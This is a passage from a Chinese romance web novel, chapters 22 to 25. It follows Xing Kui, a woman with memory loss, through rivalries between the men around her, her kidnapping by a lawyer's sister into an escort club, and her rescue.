袋内有盒装的草莓、蓝莓、桑葚,还有菠萝和火龙果,他买多也买太多了,邢葵小声道谢,瘸回家,厉乘川人还行,就是老插手兄弟的事。 “许野不清楚,你当清楚。”厉乘川和周镜走进厉乘川的新家。 “今日许野放了邢葵鸽子。” 厉乘川转过身,周镜神情镇定,转移即将落他身上的炮火,“我今日得知了许野和邢葵相识的缘由……” 他平稳地复述邢葵告知他的内容,边讲边想起邢葵贴在他怀里谈论的语调,软软的,轻轻的,仿佛话音的主人很好欺负,她亲他的唇也一样软,咬他时力道约等于无。 周镜不着痕迹地扫了眼厉乘川的新家,他刚搬进来,厨房大理石台上的透明热水壶里没有水。 “许野若将你的警告全部听进,今天他不来他就该提前和邢葵说清,我想,他大概,正在纠结。” “该死。” 许野纠结的结果大概是好的,但周镜需得将他自己从厉乘川的怀疑中摘出:“我抱邢葵上楼,也是因为她久坐腿疼。” “嗯。”厉乘川薄唇下撇,脸色冷硬,体谅了周镜抱邢葵的举动,“幸好有你在,这事是我处理失误,高估了许野。” 周镜单指一推眼镜,窗外的光扫过镜片:“许野终归年纪小,尚未出校园,好在心直好猜,不知者无罪,你也不用过多责备。” “嗯,去吃饭吧。”厉乘川要往外走。 周镜喊住他,吃饭要摘口罩:“不妥,就算你想和邢葵复合,也得和她保持距离。” 厉乘川:“我一周才见过她一面?” 周镜:“她看起来觉得一面都多了,别将人逼得太紧,你都搬了过来,他日有的是机会。” 厉乘川低眸沉思,少顷:“多谢。”有道理,邢葵忘记了他是戒备他,他不想带给邢葵不好的感觉,“我会注意分寸,麻烦你多多照料,脑损伤难逆,她要有得罪之处,你别和她计较,尽管告知我。” 周镜抬指抵了抵唇:“当然,我会的。” 下雨天夜里室内空气湿冷,周镜说她白天药吃多了,取消了今晚的下班吻和晚安吻,邢葵躺在床上捏腿吃草莓,这段时期她有在稳定更新自媒体,更新完和江玉鸣打起电话。 同他汇报今天的事,删去后续,只讲到在餐厅碰见同学:“我当时超想逃的。” “那为什么没逃呢?”江玉鸣的嗓音透着疲倦,他刚出手术间,术中病人大出血,血溅得他护目镜、口罩、衣服到处都是,水龙头哗哗,水混着血一同从白皙修长的手流下,怎么洗都一股腥味。 “因为你啊。”邢葵清快的声音透过冰冷的手机落进耳窝,“你帮我删掉了他们,帮我开了口,我觉得,反正都这样了,与其逃,不如鼓起勇气往前冲,江玉鸣,真高兴遇到你。你是不是很累呀,还在医院吗?要不我给你叫个代驾?” “不。”江玉鸣两手反按在洗手池台边,低着瑰姿艳逸的脸,缓慢弯起唇角,站直解开染血的手术服,勾魂撩魄地笑,“我现在很兴奋,好孩子,好久没亲你了,我去周镜家找你偷-情怎么样?” 第22章 啊啊啊!神经病啊!邢葵缩进被子里捶床,扎耳挠腮,救命呐,江玉鸣要来周镜家找她偷、偷、偷…… 她说了“别”,但她估计笑着挂断电话的江玉鸣不会听,并且已经在赶来周镜家的路上。 要不是打滚怪为难她的腿,邢葵恨不得在被窝里滚一百个来回,她脱力地趴在床上,脑子片刻眩晕。 真搞不懂江玉鸣,他给她感觉相当危险,如果把他放在游戏副本里当boss,凶险级别一定是SSS,还是SSS中的隐藏款。 可是江玉鸣又对她很好,他会给她暖手暖脚,会半夜给她掖被子,每天再忙碌也会抽空倾听她的每一句话。 假如这里是邢葵自己家,假如只有她一个人住,江玉鸣来,她是不怕的。但这偏偏是周镜家,她和周镜两个人住,她的嘴还看得出被吻过的痕迹——毁灭吧! 邢葵靠到床头,这题天才来了也不会解,不如临死之前多吃点草莓。 还是少吃点,不知道江玉鸣爱不爱吃草莓,给他留一些,哄哄他。 这颗够红,肯定甜,留给他。 这颗形状漂亮,看着都开心,留给他。 这颗…… 九点,一道门铃声传进周镜家,江玉鸣来了。 还在书房处理上庭资料的周镜蹙着眉抬眼,谁这个点来访,厉乘川就这么没耐性? 白天时间给了邢葵,周镜还有不少事要做,不喜被人打扰工作,但仍绅士有礼地去为到访者开门,握在门把上的手虎口贴了几片创口贴,棕色的边缘浸着血。 “Surprise!” 看到来人,周镜眉宇间拂过困惑。 江玉鸣穿着白色大衣红色薄针织,径直走进屋,慵懒地伸了个懒腰,打着哈欠笑意嫣嫣,“做完手术太晚了,车开不回去,不介意我今晚借宿你家吧?” 玄关,周镜转身看向他:“你家到医院的距离,和我家到医院的距离,你可以点开地图查一查。” “啊哈。”江玉鸣漫不经心地挑眉,扫看周镜家,寻找邢葵卧房位置,“我太累了,开迷路了,开错的地点刚好离你家近。” 如此不走心的谎言谁都不会信,周镜伸指:“厉乘川刚搬到对面,你出门向前便可过去。” “好吧好吧,被你看穿了,我另有目的。”书房相对的房间朝东,阳光适合病人住,江玉鸣意味深长地和周镜对视,一启红唇,“我是替老厉来的,听老厉说,邢葵最近住在你家。” 周镜眉心变冷几分,蜷了蜷手指,虎口创口贴跟着皱起。 “老厉相信你,但我可记得,长辈们曾说,你和老厉脾性最合,你俩可能会喜欢同一种姑娘,让我突击检查一下,你对邢葵有没有那么干净吧。” 说罢,不给周镜反应机会,江玉鸣急速奔到书房对面,打开门,进门,锁门,一气呵成。 “江玉鸣!开门!” 无视好兄弟砰砰的敲门声,江玉鸣冲坐在床上的邢葵弯唇笑:“几日不见,你变样了呢。” 周镜家隔音好,邢葵没听见外面的谈话 内容,但估摸江玉鸣用了些手段,话说,把房子的主人锁在门外是不是有点丧尽天良啊? 邢葵讪笑,努力抿起嘴巴,肿得并不丑,容易让人联想到粉色的樱桃。 “他干的?”走近的江玉鸣长指抬起她的下巴,拇指沿着她的嘴角勾画她的唇边,到达唇中心停下,轻按。 江玉鸣过分艳丽的眸子眯起,面容透着危险,手上并未用力,他知道稍微用力就可能在她皮肤上留下一道痕。 “我们好孩子没有事事同我讲嘛。”他这般说着,却好像早就猜到了,并不发火,就是坐到她床边,笑眯眯地描摹她的唇。 “是你让我装的渴肤症。”别笑了!邢葵瞅向门,门外失去动静,她举起水果盘阻挡江玉鸣,“别亲我,江医生,这里是周镜家,周镜绝对有备用钥匙,你吃草莓吗?我特意挑的。” 江玉鸣瞄了一眼:“要我别亲你,用这种品相的草莓换可不行。” “这不是挺好的,我把甜的好看的都留给你了。”邢葵不解,“那你想用什么换?这里这么多草莓,就没你喜欢的?” 江玉鸣眸色转幽,视线慢悠悠从邢葵脸颊下移,整个人如一条花堆出来的毒蛇,玫瑰花芬芳浓郁。 “别不说话呀。”邢葵着急,“你想用什么换都行,只要不亲我,快点,待会儿周镜来了。” 蓦地,江玉鸣抬眸,唇角翘起弧度:“行,那你看着我说一遍‘真高兴遇到我’。” 邢葵快速复述:“真高兴遇到我。” 江玉鸣笑:“把我改成你。” 邢葵乖乖:“真高兴遇到你。”咦?这貌似是她说过的话,之前在电话里说的,江玉鸣是因为这句话才会过来吗? “真可爱。”江玉鸣揉向她的头,她懵懵地缩脑袋,暖和的手指在她头发间穿梭来穿梭去,“不亲你可以啊,我刚做完手术,手上都是血腥味,让我摸摸别的地方,去去味道。” 手上有血腥味还摸她的头?邢葵拧着眉瞪向他,嗅嗅鼻子,没闻到血味,松展眉,等一下,他说啥?他要摸哪里? 指腹贴到她的腰间,撩起衣角,轻而易举穿进,还来不及反应,热软的掌心和五指盖住她一边腰窝:“这里,他碰过吗?” 邢葵腰一抖。 “别抖啊邢葵,你身上凉冰冰的,让我热热。” 不是要欺负她,只是不明白,周镜有好好照顾她吗?怎么人在家里还这么凉,还不如他带她回家好好焐焐。 毒蛇似的目光锁在邢葵唇上,江玉鸣八成还是想接吻,但强行按住了想法,用手掌代替,反复蹭着。 邢葵哆哆嗦嗦,希望他尽快结束,配合回答:“没、没碰过,他只碰嘴。” “是吗?”江玉鸣听完,用他极具攻击性的美人脸接近她,压低的嗓音犹如来自深海塞壬,“那他每一次重重吻你时,你有想念我吗?” 咔哒,室门被推开,周镜拿着备用钥匙,盯着这一幕:邢葵盖着被子,江玉鸣坐在床边,一只手在被子里。 灯光照在金丝眼镜上,周镜瞬间过来,拽离江玉鸣,衣柜被撞出沉重响声。 两只手掌按住邢葵两肩:“他在扌旨女干你吗?” 邢葵瞳目地震。 妈妈,我的天,这怎么解释,这。 “喂喂喂,在你心里我是这种人?”撞到衣柜上的江玉鸣站稳,拍拍起褶的衣裳,浪荡笑,“一个律师这么大力气,难怪能把小姑娘的嘴亲肿。”他抬起瘦长手指,指尖竟捏着一片草莓盖上的绿叶,“我就是看到叶子落到她身上,捡一下而已。” 他什么时候拿的叶子! 佩服,江玉鸣大概落手之前就想好了应对方法。 周镜望向邢葵,向她求证,邢葵看了眼江玉鸣:“不,他撒谎。” 她抓住周镜手臂,“他问我我的嘴是不是你亲的,我说你只碰了嘴,他不信,然后他就想检查其他地方。” 江玉鸣上扬嘴角:“信她还是信我?” 好孩子,配合得不错。 周镜很不好骗,刚才他不信,这会儿才信,替邢葵拉好被褥:“你好好休息,你给我滚出去。” 他带走江玉鸣,邢葵盯着阖上的房门咬手指,方才江玉鸣递给她一个眼神,她懂了,江医生来,也有助攻她追周镜的意思。 好让人费解的胸怀,一边想亲她一边撮合她和别人。 邢葵闭上双眼交叉双手,菩萨保佑,两个人都不坏,外面千万别打架。 祈福太迟了,菩萨听见都没法阻拦,刚出邢葵卧室,周镜的拳头就挥向了江玉鸣,精准对着他常年弯翘的嘴角。 “难道不是我该揍你吗?”江玉鸣用手背擦拭唇角的血,渗血的唇仍然弯着,“我没碰什么也没想真碰,但是你,我们的好兄弟,你亲厉乘川的未婚妻,问过厉乘川意见吗?” 周镜调整呼吸:“他们已经分手了,邢葵和谁接吻都是她的自由,况且我有我的原因。” 分手? 他怎么用“分手”来形容邢葵和厉乘川的关系? 啊……周镜居然不知道邢葵是失忆吗? 有趣也合理,厉乘川不会提,失忆的邢葵更无从提起,周镜可不就没渠道得知吗? 江玉鸣垂了下浓黑眼睫,眸中笑意森森蔓延:“是吗?你有你的原因,那我就去找厉乘川过来,让他听听,你亲他未婚妻的原因。” 周镜看着他走,也随在他后面走,步伐却极慢,江玉鸣来到门边,他则转方向坐到客厅沙发上:“去吧,正好将厉乘川找过来,我也想和他讲讲,许野为何会约邢葵吃饭。” 江玉鸣停步。 周镜抽过一张纸巾,虎口创口贴下伤口因为他揍江玉鸣的动作重新流血,血液从创口贴边沿渗出:“许野什么都不懂,你说,他哪来的请邢葵吃饭的念头。” 江玉鸣轻挑眉梢:“他还在上学,也许是从同学那儿得到的建议。” 周镜擦着虎口的血,慢条斯理:“许野是一根筋,但同龄人幼稚的起哄,他会莽撞地用在一见钟情的对象身上吗?” 江玉鸣语调轻慢:“谁知道呢,少年人易冲动,你个三十岁的人,少揣摩二十岁少年的想法,哦对,许野生日在秋天,他还不足二十岁。” 周镜擦净血:“江玉鸣。” “好吧。”江玉鸣从门口移步,坐到周镜对面沙发,散漫地交叠长腿,唇角带伤不减风采,“被你发现了,许野请邢葵吃饭,就是我的杰作。” 第23章 两张隔着茶几的单人沙发,江玉鸣和周镜相对而坐,一个跷着腿艳丽张扬,一个揉捏纸巾温和内敛,气势迥然不同又相互抗衡。 螳螂捕蝉,黄雀在后,周镜猜得不错,许野邀吃饭背后正是江玉鸣在推波助澜。 事情还得从许野和邢葵初遇那日说起。 那日,许野点赞了邢葵的朋友圈,被江玉鸣看见,之后他便猜出救邢葵的路人正是许野。 并且,许野后来还联系了他。 许野:【江哥,我可能喜欢上一个人,她在你们医院住院,我要不要去给她送篮水果啊?】 秉着看戏心态,江玉鸣没向许野揭露邢葵身份,但那时的邢葵精神状态甚为糟糕,不宜卷入兄弟战争,江玉鸣也没让许野过来。 何况他当时还没想破坏江厉两家关系,直到再后来,江玉鸣要从兄弟中为邢葵找对象,许野进入他的考量范围。 因此当许野再一次发信息给江玉鸣,问他“他同学建议他邀请心动对象吃饭行不行”时,江玉鸣回答:【不妨一试】。 万一邢葵攻略周镜失败,江玉鸣给她准备了plan-b。 换句话说,江玉鸣为邢葵准备了备胎。 但现在看来无需plan-b,plan-a推进得很成功。 江玉 鸣意味深长地注视周镜,许野那晚收到厉乘川警告,厉乘川不清楚,江玉鸣却知道,邢葵经常要和他通电话汇报攻略周镜进度,她的手机不会明晃晃摆着给周镜看。 所以今晚看到邢葵的唇,江玉鸣不意外。 他甚至能想象到场景。 禁欲之人堕于欲,大口呼吸,胆怯的小白兔眼瞳水泽波动,虚弱的脸颊弥漫诱人粉霞,挣扎,不敢挣扎,强咽着喉溺于水。 江玉鸣每对周镜笑一次,就在心里骂他一句贱人,笑的弧度越大,心里骂的声音也越大。 “罪也分一二三等。”贱人,他扯着受伤的嘴角笑,“我不过成全一下少年人心意,你把厉乘川未婚妻的嘴都亲肿了,也有脸说我?” 沾血的纸巾在周镜掌中揉成团,继而划出抛物线,滚进垃圾桶:“撒谎,你爱看戏,连兄弟的热闹你都能看。” 哦?周镜猜错了。也正常,他俩终归掌握的信息量不同,周镜能看破江玉鸣在编造谎言,但没有途径将他完全看破。 江玉鸣后背抵住沙发,长指搭上扶手,不解释,不承认,故意误导周镜:“别回避问题,我做什么也不及你,把厉乘川未婚妻的嘴亲肿。” 周镜反问:“你分明能阻拦许野却暗中推波助澜,你猜厉乘川觉得哪个更严重?” 江玉鸣嘴上漫着笑:“哟,你亲肿邢葵嘴巴的原因就能让老厉认可?让我想想,大家都猜婚姻取消的原因在邢葵身上,要为老厉鸣不平,你不会是呼应了群内兄弟号召,想报复她吧?” 他说话很气人,但周镜不是会被言语轻易激怒的性格,相反,在法庭上,他能身着正装,用三言两句轻而易举影响他人情绪。 “婚姻取消背后也许另有隐情,邢葵不是群内猜测的那种人。”渴肤症若是真的,邢葵或许是因病被迫出轨,若是假的,周镜也相信她不会主动犯错,“我不是你,任性妄为,顽劣不堪。” 修长的指掐住沙发扶手,江玉鸣颤栗着笑起来,笑声足足延续一分钟,旋即,他抬起令人目眩的脸,启唇:“你完蛋了周镜,邢葵的嘴,是不是很好亲啊?” 这里不是审判场。 斯文人却执起剑,挥向他的兄弟。 我们好孩子真的好厉害,做得好棒,好想亲她,好想把她摁在被窝里亲,好想好想好想,啊,我的好孩子。 周镜这个贱人! “我顽劣?”江玉鸣扬声,笑容如盛放的玫瑰,“十几年前,咱们兄弟中,最恶劣的明明是你吧,怎么?穿上律师服就忘了曾经差点让你进少管所的斑斑劣迹。” 啊? 好不容易挪着半废的腿出门偷听的邢葵呆呆,在落地灯后小心扒着墙,离得近的光线炫丽,和江玉鸣一同投进邢葵眼里。 他在和周镜讲话,惑人的眸子却盯着她,仿佛在用眼神吻她,贪婪隐晦,一寸一寸。 他的嘴咋了?谁伤了江医生天下无双艳丽的脸!噢,周律师啊,那没事了。 十几年前又咋了?江玉鸣一定是听见了她瘸过来的响动,故意讲给她听,他在教她攻略周镜。 周镜也看到了她,看向江玉鸣:“请你离开。” 江玉鸣没有再留,从容起身,只是迤迤然走到门,又转过身,冲墙边冒出半个脑袋的邢葵点点自己上翘的唇,十足放浪。 周镜抓住他的肩膀,直接将人推出了大门。 邢葵经不住笑,周镜稳步走过来:“别理会他,他就是这样人模狗样,冲你笑得越灿烂,肚子里坏水越多。外面凉。” 他将她抱起来,没发觉伸手的动作于他有多习惯。温暖包裹邢葵,听说体质好的人多体热。 “还有他说的话……” “啊,十几年前吗?没关系,你不用介意我听见了。”邢葵轻快地说道,“白天周律师才跟我讲过,人是会变的,有过去的你才会有今天的你。” 周镜抿住唇,沉默不语。 总之,由许野邀吃饭引发的事告一段落,此事中,江玉鸣利用许野,周镜算计许野,厉乘川警告许野——只有许野当冤种的世界达成了。 当天,由于周镜找厉乘川聊过,厉乘川还二次警告了许野。 京江大学男生宿舍,许野长腿架在床尾栏杆,看着厉哥的消息,拧着粗野剑眉,不太会绕弯的脑子打起乱糟糟的结。 厉乘川只发了一句话,他要许野删掉邢葵。 十分钟前许野就点进了删除页面,但捧着手机不断想起邢葵看他的眼神,悬在屏幕上方小麦色的手怎么也下不去。 “喂。”他抓住手机,向床下伸去,对同宿舍的人道,“帮我删个人。” “这个头像?不是你的心动对象嘛,许哥要删掉她。” “少废话,快删。”慢一秒钟都会后悔,肌肉勃发的手臂压着金属栏杆,金属冷硬,不像许野给邢葵戴帽子时碰到的她后颈皮肤,也凉但软,等等,“等一下!我帽子还没拿回来!” “……”床下的男生举起手机,“已经删掉了。” “谁让你动作那么快!”许野一把夺回手机,通讯录X字母开头的列表中小葵花头像已然消失,他手摸索一阵不知该落到哪里,浓眉紧皱,“那是我最喜欢的帽子!” 室友摊手,那没办法了,微信消息能撤回,删掉好友可不能反悔。 许野气愤地躺回床上,窗外夜雨连绵,冷冷的,如从天坠下的虚线,像少年人盈出眼眶的泪珠。 第二日早,邢葵揉着睡眼从被窝里钻出来,三月份夹在冬春之间,气温高高低低,天气说变就变,昨夜一直在下小雨,雨夜睡得人很不舒服。 第二日早,许野猛地从宿舍床上跃起,眼圈发红,不对劲,大家不是分析说厉哥的未婚妻负了他吗?可是邢葵怎么会是那样…… 邢葵拿起手机,揉着眼睛按指纹。 许野拿起手机,点开微信,划动列表。 微信里有几条未读消息,让邢葵睁开眼。 江玉鸣:【(受伤嘴角特写图)】 江玉鸣:【冷冷的雨在脸上胡乱地拍.jpg】 什么啦,在撒娇吗?邢葵靠在床头笑,回了个“猫猫摸头”的表情包,下床洗漱。 微信列表划到T,许野点开一个昵称为“甜甜的恋爱会找上我”的用户聊天页,发送在飞燕商场拍到的周镜抱邢葵图。 甜甜的恋爱会找上我:【?】 甜甜的恋爱会找上我:【周哥背着兄弟们谈恋爱?】 许野:【那是厉哥的未婚妻。】 甜甜的恋爱会找上我:【!】 【真没想到周哥为了帮厉哥报复坏女人牺牲这么大,我太为咱们的兄弟情感动了,许野,咱们也不能摆烂啊!】 “……”他肯定是没睡好才会糊涂到找这个话痨男。 今天奇怪地没有早安吻,并且一连几天一个吻都没有。邢葵问过周镜,周镜说断药有助于治疗,好吧,不知道他是不是在介怀那天江玉鸣说的话,正好让她嘴消消肿。 这几天邢葵也经历了一些事:一,她发现救命恩人将她删了,莫名其妙,但不重要,删就删了吧。 二,邢葵想搬离周镜家,杜绝江玉鸣偷-情事件发生。先前就说好的,她只是暂住周镜家,他会帮她找房,但周镜说还没找到,她也不好意思全麻烦人家,趁精神好,自己也逛起租房软件。 只是,找房确实如周镜说的一样困难,中介贴出来的房子宽敞干净,标价低廉,可一旦联系中介,对方上来就,或者讲几句话就跟她要电话号码,要带她线下看。 邢葵以前找过房,这种多半是假图,等见到中介,他就会跟她说图上的房子刚巧租出去了,然后骑着电瓶车带她各个小区地蹿。 她还记得刚工作那儿她找房,千挑万选,和一位线上聊天感觉很热情实诚的中介见面。 结果对方带着她进了一间由“厨房”隔出的“长形房”,她站在油烟厚积的煤气灶前连连摆手说不要,中介却笑着说:“煤气灶就在床旁边有什么不好的,有人就喜欢这种房子呢。” 初进社会的邢葵看着中介慈眉善目的样子,从心底发寒。 所以周镜还没找到合适的房,邢葵完全能理解,她最 近都在考虑要不要在周镜家小区内逛逛,找找有没有房东直租。 三,邢葵还在稳定更新自媒体,分享生活,各个平台都有涨粉,小红薯更收到了广告私信。 是做护肤品推广的,一百块请她发一条笔记,图片内容都由对方提供,自己根据账号调性改改即可,不过邢葵没接,虽然一百块对她来说是可以点六七次麻辣烫的巨款,但那护肤品她没用过,不想说她没确认过的话。 全平台账号名定为:天天奇妙历险。 简单好记,符合她从鬼门关回来后对生活的期待,“天”字也是“葵”字的拆字。 想到拒绝了一百块巨款,邢葵还是有点肉痛,站在厨房倒水,边倒边疼,中午得挑个便宜的外卖,点炒饭吧,别加鸡蛋了…… 一阵奇怪的动静传来,邢葵望向门,放下水壶,紧接着,大门的锁被卸掉,被卸掉??? 一群五大三粗的黑衣人鱼贯而入,列成两排,一名戴着墨镜踩着高跟鞋的短发女踏进周镜家门,白皮草搭配丝绒黑裙,一看就不怕冷。 短发女拽低墨镜扫量她,看到她额头疤痕:“这么丑?周镜异食癖?你是周镜抱的那个女人吧?带走。” 邢葵:“?”你哪位?“绑架是犯法的!这里有监控!” 她被两名黑衣人控住两边胳膊,举起来往外面拖,哪来的法外狂徒,都说了有监控! 短发女移了两步,似寻找监控般左瞧右看,没找到具体镜头在哪儿,她戾气森森地抓过邢葵先前拿的热水壶,砸到客厅的茶几上:“我知道你能看见,人我带走了,想找她跟着监控来找。” 两个小时后,某邢葵长这么大没来过的会所包厢内,邢葵在灯红酒绿中默默低头吃薯条。 面前,十位气质不同的男模一行排开。 短发女勾住邢葵肩膀,白色皮草蹭到她的脸颊:“周镜那个烂人有什么值得喜欢的,来,这里十个人你随便挑!每一个都器大活好!” 第24章 妈妈,当您听说女儿进了这种地方之后,希望您千万别高血压,她真的是被迫的啊被迫的啊! 邢葵头快缩进了绣着小葵花的奶黄色睡衣领子里,两个小时前她还在家里想点炒饭呢呜呜,没有想试试十男盖饭啦。 头被短发女强行掰起,邢葵被控制着看向包厢里的他们。 堪称万紫千红,有西装衣领齐整的,有只穿,邢葵不知道那黑条条叫什么,束缚带吗?有冲她抛媚眼的,还有不看她装清高的。 大部分个子都高,只有一个矮个子,估计是防止客人有这方面x癖。 邢葵真心觉得羞耻,只穿着一只拖鞋的脚快抠出一栋别墅——另一只拖鞋她被绑出来时故意踢掉在了门外,万一厉乘川比周镜早下班,看到拖鞋能意识到她有危险。 “没挑中吗?”短发女在黑暗的只有各种彩光的环境下仍然戴着墨镜,睨向旁边,“去换一批。” “好的,周小姐。” 短发女姓周?和周镜一个姓?是同音字还是…… 很快,新的一批十男上来。 被抓着头发的邢葵只想吃薯条,一根两根三根,好好吃哦。 薯条盘子被移走:“我让你挑人,脸丑耳朵也聋吗?” 邢葵眼巴巴望薯条。 “还是你光看他们的脸和身材不够?去给她拿把尺子,让她量。”短发女高傲地望着她。 量、量什么啊?! “让你亲自验验,这里没有金针菇。” 不是!她不要量啊! 邢葵不清楚突然出现的短发女身份,其人枪口目标是周镜,但言行有些神经质,最好别惹恼,她小声道:“这里是正经会所吧?” “是啊。”短发女不屑发笑,“但你给足了钱,他们私下什么都肯干,比周镜能为你干的都多,周镜不会玩花样吧?他们会。” 说罢,短发女伸出一只手,其中一名男模立刻来到她身前,跪下他不值钱的膝盖,舔吻她的手指。 那神态,那动作,邢葵大为震撼,脸热十分,感觉自己就像热水壶,再多看一眼耳朵就要冒出热气。 人在短发女手里,邢葵不好作对,缓兵之计,认真思索了下回复道:“我不喜欢不是处的。” 这话一出,十男皆毙。 差评!这家店就不考虑客人爱干净吗! 而且这些人长得也就,也就是个人。可能是外面的男的太过邋遢,让这些稍微打理下自己的男的都能靠脸工作了。 按他们称帅的标准,全天下女性百分之九十九点九九都是美女。 “还不去换批处男!”短发女呵令道。 “光是处也不行,还得长得好。”邢葵补充。 十分钟后,一个看着只有二十岁出头的男生被送了进来,个子高,脸比刚才的人都优秀,穿着不合身的西装,站在包厢门口,眼神抵触。 “这是刚来的新人,还没接受完培训。” “就他!”邢葵喊道,没做完培训听起来好策反,不能指望人就救她,她也得自救。 “行。”短发女满意地拍拍她的肩,“还要不要别的?你放开了选,想选几个选几个,想干什么干什么,一切消费我买单!” 宋弘宇警惕又厌恶地扫视室内,若不是家里急需用钱,拿刀架着他一个前途光明的大学生,他都不会来这里。 进了这种地方总会有些幻想,宋弘宇也想过,他接待的第一个客人是位美丽善良的富婆,会好心地救他出风尘,他们会写出一段罗曼史。 然而现实情况是,包厢里有年轻不介意撒钱的富婆,宋弘宇要服务的却是她旁边脸上有一道疤的丑女。 她甚至穿着睡衣!只有一只拖鞋! “不用了,我先试一个。” 幸好她没要求多对一,她抬起头,颇显生疏地招手,眼神清澈,“你坐过来吧。” “多试试你才能体验到好,行吧,看你也不会,你先用一个试一下。”短发女也招手要了两个男人,一左一右地坐到她身边,三个人亲亲昵昵。 邢葵挪了挪,端回被短发女移走的薯条盘,宋弘宇走向她,压抑着反胃坐下。 脚趾抠着地板,邢葵咀嚼薯条压惊,零经验的她回忆着从小到大看过的剧和文,别别扭扭张嘴:“你叫什么名字呀?” “弘宇。”在会所工作的人要取花名,宋弘宇刚来不久,还没想。 他反感地盯着邢葵吃薯条,进包厢前他已经做好丢失初吻乃至初-夜的准备,吃薯条会让嘴里有油炸味。 “哦哦,洪宇,你要不要吃薯条?” “……”才不要,来之前宋弘宇特意喷过口腔清新剂,绿茶味的,现在嘴里很香,“小姐爱吃多吃点,还有想吃的都可以点。” “真的吗?你们这里有没有炒饭?可以加蛋的那种。”邢葵激动。 “……”谁来会所吃炒饭!“有意面,我看别人点过。” “太好了,我也要来一份,你要吃吗?” “……”宋弘宇望着她皱起眉,他听说有些客人爱玩一些电视剧play,譬如面条吻,“不要。”他嫌恶心。 单纯想吃午饭的邢葵高高兴兴点了一份番茄牛肉意面加蛋加火腿,整个人开心不少。她还记得要自救,被绑来的时候没带手机,她需要一部手机。 和宋弘宇套近乎:“你看起来还在上学,为什么来这里工作呀?” 来了,宋弘宇早就准备过这个问题的回答,博取客人同情是吸引客人花钱的有效途径之一:“缺钱,我爸出轨跑了,我妈查出来骨髓癌晚期,住院、化疗都是费用。” 宋弘宇抿起唇,说的具是实话,他不习惯卖惨,可他真的需要钱。 他也设想过客人在听到之后的回答,不外乎“天呐 ,好惨”、“你有手有脚,怎么不去工地搬砖”这些,没关系,不管客人用什么眼光看他,给钱就好。 “哦哦,这样啊。”邢葵挠挠头,招手,“那个,开一瓶你们店里最贵的酒,这样他有提成吧?” 宋弘宇一愣,不敢相信地看向她。 “别看我啊,我慷他人之慨。”邢葵揪住宋弘宇袖子,压低声音,“反正她说了她买单,你妈妈治病要多少钱,要多少酒才够,你说,我点。” 宋弘宇愕了好久:“你不怀疑是假话吗?” 邢葵不懂:“我费劲思考真假干嘛,反正又不用我出钱,能帮就帮啊。”她凑近,偷偷用眼神示意,“那个人,坏人,绑我过来的,你想削她多少钱都成,等于替天行道了。” 她没怎么看宋弘宇的眼睛,宋弘宇心跳却漏了一拍。 “挺上道啊。”躺在男人怀里享乐的短发女望过来,拿起手机,“这么快都会给他花钱了,来,接个吻,我录个视频发给周镜。” 周镜家楼层。 厉乘川拎着一份番茄牛腩走出电梯,中午他在公司看到陈泉点的,想到邢葵或许爱吃,就买了份送回来。 待会儿等他见到她,就说店家搞活动买一送一,他吃不完。 又是几天没见面,也不知道邢葵水果吃完没,她胃口比刚出车祸那会儿好了,厉乘川全副武装翻过垃圾桶,邢葵点的外卖剩的一天比一天少。 厉乘川停步,走廊上一只拖鞋孤零零的,他抬眼看向周镜家,门关着,乍一瞧没问题,锁却是松离的。 他瞬间拔腿冲了进去:“邢葵!” 客厅里没有邢葵,卧房里也没有,茶几周围都是热水壶碎片,厉乘川漆黑瞳目犹如寒星,伸指摸了摸茶几面上的水,是冷的。 周镜在法庭上得罪的人不少,故而他的住所安全系数极高,不仅家里暗藏监控,整个看起来平凡老式的小区内,住了大量周氏昔日部下后代。 能通过他们的眼睛闯进周镜家的人,只有周家人。 而姓周又憎恨周镜的人,只有一个:周镜的妹妹,周梨。 周镜电话打不通,厉乘川边语音留言边疾奔出去:“邢葵被周梨带走了,我去追,你有消息尽快联系我。” 法院,一行人跟着周镜出来。 “哎呀,多亏有周律师,我们兴乘建设才没吃大亏。” 周镜抬手止住李经理讲话,皱着眉点开厉乘川留言,随即快速奔下台阶,开车扬长离去。 “这是咋了这是,难道他有案子比我们兴乘建设出的钱更多?” 会所内,邢葵觉得短发女一定恨极周镜,不然她怎么会夹在两面大胸肌之间还没乐不思蜀,竟举起手机逼她和男模接吻。 她看向宋弘宇,偷偷比“六”,“六”是打电话的模拟动作,她想问宋弘宇有没有手机。 随后,邢葵偏过脸婉拒道:“这不太好吧。” 砰!短发女猝然砸了桌面一拳,薯条盘被震得颤抖:“快接!趁我好声好气快接!要激!吻!” 好吓人,邢葵抖了几抖,高度紧张,强撑着给宋弘宇使眼色,他却靠近了她。 不是!没看懂吗!邢葵急切地比了几下六,手机,她要手机。 “我没接过吻。”宋弘宇缓慢接近着邢葵,嘴里都是绿茶清新剂的香味,他看着她,她像可怜兮兮误入狼窝的小兔子,不知所措地往后躲,都要哭了。 走进包厢前,宋弘宇假想过千万种可能,万万没想到,最后向他伸出手的人穿着奶黄色睡衣和一只灰色拖鞋,额头带疤,自顾不暇,甚至说不上信不信他,就是能帮就顺便帮了。 其实她蛮漂亮的,假如把贯穿额头的疤看作额链的话。 宋弘宇抓住邢葵的手搭上腰,“可以吗?” 什么东西,硬的,是手机!太好了,这个新人男模看懂了她的暗示。邢葵点点头示意他继续演,她要在短发女的视线死角摸出手机。 宋弘宇喉结滚动,抿着唇低头。 邢葵专注地摸手机。 砰!短发女又拍了下桌子:“磨蹭什么!我要激吻,激吻听得懂吗?把舌头伸出来,快点!” 邢葵吓得浑身一激灵,心脏直跳,挤进宋弘宇口袋里冰凉的手隔着薄薄布料蹭过他的腰,宋弘宇也跟着心脏猛跳。 要拍舌头的话,靠演演不出来,他得真、真、真……宋弘宇耳根通红,凝望邢葵的唇,他是第一次,要是能给她的话,可能是他的荣幸。 邢葵快吓死了,哪来的神经病。她顶着脑震荡做起权衡,是接吻继续拿手机,还是不接吻放弃自救。 谁会愿意放弃自救,不在宋弘宇口袋中的手揪紧睡裤。 砰!包厢的门被人踹开,一人抓住宋弘宇后领,将他扔到地上,捞起邢葵抱进怀里,摁住她的后脑勺:“别怕,别怕,别怕。” 邢葵闻到熟悉的薄荷味道。 宋弘宇扶着腰从地上爬起来,吃惊地望着来人,他在京江大学读书,全校只有一个体育特长生比他好看,然而来人的模样竟和那位不相上下。 第25章 来人正是周镜。 他出发地点为法院,离会所比出发地点在小区的厉乘川近,并且周镜了解周梨,连查带猜,比厉乘川先摸准周梨目的地。 